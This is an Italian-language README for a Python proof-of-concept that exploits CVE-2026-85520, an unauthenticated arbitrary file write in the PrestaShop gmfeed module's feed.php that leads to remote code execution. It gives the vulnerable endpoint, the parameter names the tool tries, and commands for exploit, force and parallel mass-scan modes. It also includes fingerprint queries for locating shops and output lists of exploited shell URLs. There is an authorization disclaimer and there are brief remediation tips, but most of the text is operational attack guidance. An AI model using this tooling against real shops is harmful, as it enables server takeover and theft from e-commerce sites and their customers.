
PoC in Python per CVE-2026-85520: rileva e sfrutta la scrittura arbitraria di file non autenticata in PrestaShop gmfeed feed.php per ottenere RCE, con scansione di massa.
PoC in Python 3 per CVE-2026-85520 — modulo Google Merchant Center Feed (gmfeed) di MyPresta.eu / VEKIA per PrestaShop — scrittura arbitraria di file non autenticata su feed.php quando viene utilizzata l'esportazione “Salva su file” / tramite URL. CVSS 3.1 9.3 Critico (Software).
| PoCbit | https://pocbit.org/pocs/cve-2026-85520 |
| Catalogo | https://pocbit.org/pocs/ |
| Modulo | gmfeed (Google Merchant Center Feed) |
| Correzione del fornitore | ≥ 2.3.10 (consigliata l'installazione di 2.4.1+) |
| CWE | Problemi della classe CWE-20 / CWE-73 / CWE-434 (autenticazione mancante + controllo di percorso/contenuto in scrittura) |
gmfeed è un modulo commerciale che genera un catalogo prodotti XML/CSV per Google Merchant Center nei negozi PrestaShop. Nelle versioni precedenti, quando il catalogo veniva generato tramite URL e salvato su disco (Save to file / cron), l'endpoint modules/gmfeed/feed.php poteva accettare, senza autenticazione, parametri arbitrari che controllavano il nome del file di output, il percorso, l'estensione e il contenuto.
Con richieste GET/POST craftate l'attaccante può scrivere file arbitrari sul server (ad es. pocbit_xxxxx.php) e poi eseguirli via web ottenendo esecuzione di codice remoto (RCE). Ciò significa la completa compromissione del server e-commerce — testare solo in ambienti di pentest autorizzato / proprio lab shop.
Secondo l'annuncio del vendor (MyPresta.eu): le versioni precedenti alla 2.3.10 sono vulnerabili; la correzione aggiunge una chiave specifica del negozio agli URL save-to-file e disabilita la scrittura non autorizzata. Sovrascrivere il vecchio zip non basta — il modulo deve essere rimosso con “delete module files” e reinstallato pulito alla 2.4.1.
CVE-2026-85520 riguarda il modulo PrestaShop gmfeed (Google Merchant Center Feed di MyPresta.eu). Lo script di esportazione feed.php, quando la modalità salvataggio su disco è raggiungibile tramite URL (exportsavefile=1 e i relativi parametri di esportazione documentati nei changelog del fornitore), non applicava:
modules/gmfeed/ o tramite sequenze di traversal.Impatto: scrittura arbitraria di file non autenticata → RCE (esecuzione del .php caricato via HTTP).
I parametri pubblici del fornitore citati nelle note di rilascio includono export_file_format, exportsavefile e le opzioni personalizzate di nome file di esportazione aggiunte nella linea 2.3.x. Questa PoC alterna alias comuni dei parametri (exportfilename, exportfilecontent, export_path, ecc.) contro:
/modules/gmfeed/feed.php/index.php?fc=module&module=gmfeed&controller=feed| Modalità | Comportamento |
|---|---|
| check | Rileva gmfeed (feed.php, config.xml, marcatori), analizza la versione del modulo, segnala < 2.3.10 |
| check --aggressive | Sonda leggera di salvataggio su file (nessuna shell permanente; exportsavefile=0 nel percorso della sonda) |
| exploit | Scrive una sonda pocbit_*.php con marcatore POCBIT-85520-OK, verifica tramite ?pocbit=1 |
| exploit --dry-run | Esporta solo le richieste della sonda (nessun posizionamento della shell) |
| mass | --list + -j → hits.txt / exploited.txt + JSONL |
--lab | feed.php mock locale — deve mostrare exploited: true (verifica di sanità) |
--force | Ignora i controlli “modulo mancante / versione corretta” |
Campi JSONL: pocbit, pocbit_catalog, pocbit_page, cve, vendor, module, product.
Sicurezza: Il payload predefinito è uno stub PHP solo con marcatore, non una shell interattiva completa. Rimuovere i file scritti dopo i test autorizzati.
pip install requests urllib3cd CVE-2026-85520
python poc.py --lab
Previsto: [LAB] verde, JSON "exploited": true, "shell_url": "http://127.0.0.1:8766/modules/gmfeed/pocbit_....php".
python poc.py -u https://shop.example.com --mode check
python poc.py -u https://shop.example.com --mode check --aggressive
python poc.py -u https://shop.example.com --mode exploit --dry-run
python poc.py -u https://shop.example.com --mode exploit
python poc.py -u https://shop.example.com --mode exploit --force
Verificare manualmente dopo l'exploit:
https://shop.example.com/modules/gmfeed/pocbit_XXXXXXXX.php?pocbit=1
→ POCBIT-85520-OK
python poc.py --list prestashop_targets.txt --mode check -j 40
python poc.py --list hits.txt --mode exploit -j 20
python poc.py --list hits.txt --mode exploit -j 20 --dry-run
| File | Contenuto |
|---|---|
cve_2026_85520_results.jsonl | Tutte le righe di verifica |
cve_2026_85520_exploit.jsonl | Tutte le righe di exploit |
hits.txt | Tab: URL, stato, versione |
exploited.txt | Tab: URL, shell_url, versione |
Presenza del modulo:
body="/modules/gmfeed/" || body="gmfeed" || header="/modules/gmfeed/feed.php"
Versione (se esposta):
/modules/gmfeed/config.xml
Artefatti di feed statici (non prova di vulnerabilità da soli):
/modules/gmfeed/products.xml
/modules/gmfeed/combinations.xml
Nota: Molti negozi eseguono ≥ 2.3.10 dopo l'avviso di MyPresta del 2026 — aspettati patched_version o write_or_verify_failed nelle liste su Internet.
feed.php).modules/gmfeed/ per file .php inattesi.Riferimento: MyPresta security fix announcement.
{
"pocbit": "https://pocbit.org",
"pocbit_catalog": "https://pocbit.org/pocs/",
"pocbit_page": "https://pocbit.org/pocs/cve-2026-85520",
"cve": "CVE-2026-85520"
}
Utilizzare solo su sistemi di propria proprietà o per i quali si dispone di autorizzazione scritta esplicita per i test. L'accesso non autorizzato è illegale. PoCbit fornisce strumenti proof-of-concept per la validazione difensiva e la verifica delle patch.
CVE-2026-85520 PoC (PoCbit) — PrestaShop MyPresta gmfeed ≤2.3.9 unauthenticated arbitrary file write via feed.php (Save to file URL) → RCE. check + exploit + mass bulk (--list -j). https://pocbit.org/pocs/cve-2026-85520